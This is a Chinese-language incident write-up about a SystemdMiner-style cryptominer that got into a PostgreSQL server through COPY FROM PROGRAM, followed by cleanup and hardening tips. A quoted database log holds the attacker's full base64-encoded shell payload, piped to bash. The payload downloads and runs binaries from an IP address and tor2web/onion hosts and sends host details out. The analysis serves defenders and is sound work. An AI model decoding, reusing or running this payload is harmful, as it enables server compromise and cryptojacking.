Featured image of post 分析一次挖矿木马病毒的注入过程

分析一次挖矿木马病毒的注入过程

一、发现过程

周末加班发现数据库异常的慢,直接上服务器看到cpu已经跑满,通过top命令查看系统最消耗资源的进程,看到了挖矿木马的前台进程,占用率达780%(八核心机器最大800%)。目标已经确定,我没有急忙杀掉该进程,打算摸清楚病毒的注入过程,因为攻击过程实在太过于经典(我反正跪着看完的木马脚本),决定写出来大家分享。

二、病毒注入过程

  • 确定注入用户

通过观察top中进程的执行用户我可以知道病毒是postgres用户的。

  • 找到拉起进程的脚本

通过ps命令,找到病毒的执行脚本位于/var/lib/pgsql/.systemd-private-mtZR5P5H3Al5ULG4bdAIdfiYQbP267Ux.sh(还贴心的隐藏了)

  • 溯源pg

通过上面两步已经确定pg是注入点了,postgres用户是运行pg数据库必须创建的用户,本来是一个低权限用户,并且不允许登录。那么是如何被注入的呢?只有一个答案:利用sql反射注入。

因为数据库默认日志级别是error,我觉得大概率没有记录,但是本着死马当活马医的精神我还是看了数据库的日志,万幸,有报错!报错的sql如下:

1
2022-07-29 22:22:36.069 CST [13867] ERROR: program "echo WFJBTkRPTQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOn0KICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuODIuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMKcHMgYXV4fCBncmVwICJwb3N0Z3JlczogZ3JlcCJ8IGdyZXAgLXYgZ3JlcCB8IGF3ayAne3ByaW50ICQyfScgfCB4YXJncyBraWxsIC05CgpkPSQoZ3JlcCB4OiQoaWQgLXUpOiAvZXRjL3Bhc3N3ZHxjdXQgLWQ6IC1mNikKYz0kKGVjaG8gImN1cmwgLTRmc1NMa0EtIC1tMjAwIikKdD0kKGVjaG8gInJ4bXhwemZreWRrdWxoaHFudWZ0Ym1mNmQ1cTY3ampjaG9wbWg0b2ZzemZ3d25tejRicXEyZmlkIikKCnNvY2t6KCkgewpuPShkbnMudHduaWMudHcgZG9oLWNoLmJsYWhkbnMuY29tIGRvaC1kZS5ibGFoZG5zLmNvbSBkb2gtZmkuYmxhaGRucy5jb20gZG9oLWpwLmJsYWhkbnMuY29tIGRvaC5saSBkb2gucHViIGRvaC1zZy5ibGFoZG5zLmNvbSBmaS5kb2guZG5zLnNub3B5dGEub3JnIGh5ZHJhLnBsYW45LW5zMS5jb20pCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpxPSR7blskKChSQU5ET00lJHsjbltAXX0pKV19CnM9JCgkYyBodHRwczovLyRxLyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfHRhaWwgLTEpCn0KCmZleGUoKSB7CmZvciBpIGluIC4gJEhPTUUgL3Vzci9iaW4gJGQgL3RtcCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vcGcuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQokYyBodHRwOi8vJHQudG9yMndlYi5pbi9hIC1vIC4vYTtjaG1vZCAreCBhOy4vYQokYyBodHRwOi8vJHQudG9yMndlYi5pbi9iIC1vIC4vYjtjaG1vZCAreCBiOy4vYgokYyBodHRwOi8vJHQudG9yMndlYi5pbi9jIC1vIC4vYztjaG1vZCAreCBjOy4vYwo=|base64 -d|bash" failed

这一段我解释下,这里面最重要的就是:

1
COPY [table-name] FROM PROGRAM '[shell-command]'

当执行SELECT * FROM 的时候命令就会执行shell命令,这个是pg9.3以后的一个特性,它允许数据库的超级用户以及“pg_read_server_files”组用户执行任意的操作系统命令(这不是妥妥的为反射而生?)。

  • 研究注入脚本

我们把上面的命令拿出来看,这个命令是base64加密的,解析以后内容为(加了注释方便大家看懂):

virus

总结一下:

  1. doh解析域名获取tor代理IP
  2. 查找目标主机可读写的路径
  3. 通过tor代理在C&C服务器上下载与目标主机硬件版本相匹配的恶意文件
  4. 开启crontab计划任务并执行
  5. 根据pid文件返回脚本执行结果并进行判断

根据这个样本的特征查了下资料,发现和SystemdMiner挖矿木马比较类似,特点如下:

  • 访问带有tor2web、onion字符串的域名

  • 在/tmp目录下有systemd*的文件

  • 还有就是中转域名relay.tor2socks.in被微步判定为SystemdMiner挖矿僵尸网络

三、清理和防范

3.1、清理木马

  • 干掉计划任务
1
2
$: crontab -u postgres -r
$: systemctl stop crond
  • 删除脚本
1
$: rm -f /var/lib/pgsql/*.sh && rm -f /var/lib/pgsql/14/data/a /var/lib/pgsql/14/data/b /var/lib/pgsql/14/data/c
  • 清理后台进程
1
$: cat /temp/.X11-unix/01 | xargs kill -9 && cat /temp/.X11-unix/11 | xargs kill -9 && cat /temp/.X11-unix/22 | xargs kill -9 && rm -f /temp/.X11-unix/* && chattr +i /temp/.X11-unix
  • 清理前台挖矿进程
1
ps aux| grep '.systemd-private-' | awk '{print $2}' | xargs kill -9

3.2、防范

  • 数据库不要使用默认密码
  • 非必要不要开启定时任务
  • 权限最小原则
  • 任何登录用户不使用弱口令